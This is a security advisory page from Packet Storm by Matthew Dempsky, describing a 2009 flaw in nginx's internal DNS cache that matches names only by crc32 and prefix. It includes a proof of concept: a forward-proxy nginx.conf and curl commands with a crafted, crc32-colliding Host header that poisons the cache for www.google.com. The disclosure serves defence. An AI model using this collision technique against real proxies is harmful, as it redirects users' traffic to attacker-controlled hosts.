exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

nginx Cache Poisoning

nginx Cache Poisoning
Posted Sep 18, 2009
Authored by Matthew Dempsky

nginx suffers from an internal DNS cache poisoning vulnerability when configured as a forward proxy.

tags | advisory
SHA-256 | 4cfae3eff99753608f50e8287f21330f597d59e6bd520cb36cb9a99a65f4a931

nginx Cache Poisoning

Change Mirror Download
nginx maintains an internal DNS cache for resolved domain names.
However, when searching the cache, nginx only checks that the crc32 of
the names match and that the shorter name is a prefix of the longer
name. It does not check that the names are equal in length.

One way to exploit this is if nginx is configured as a forward proxy.
This is an atypical use case, but it has been discussed on the nginx
mailing list before[1].

For example, using this nginx.conf:

events {
worker_connections 1024;
}

http {
resolver 4.2.2.4;
server {
listen 8080;
location / {
proxy_pass http://$http_host$request_uri;
}
}
}

You can then run curl to see the cache poisoning in effect:

$ curl -H 'Host: www.google.com.9nyz309.crc32.dempsky.org'
http://127.0.0.1:8080/
<html>
<body>
Ho hum, nothing to see here, move along please.
</body>
</html>

$ curl -H 'Host: www.google.com' http://127.0.0.1:8080/
<html>
<body>
Oops, you shouldn't be asking me for http://www.google.com/!
</body>
</html>

(Restart nginx and run only the second command to see its expected
behavior; i.e., actually fetching http://www.google.com/.)

This works because crc32("www.google.com.") ==
crc32("www.google.com.9nyz309.crc32.dempsky.org."). The first request
cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
and then the second request used this IP address instead of querying
for www.google.com's real IP address because of the matching CRCs and
the common prefix.

[1] http://marc.info/?l=nginx&m=125257590425747&w=2
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close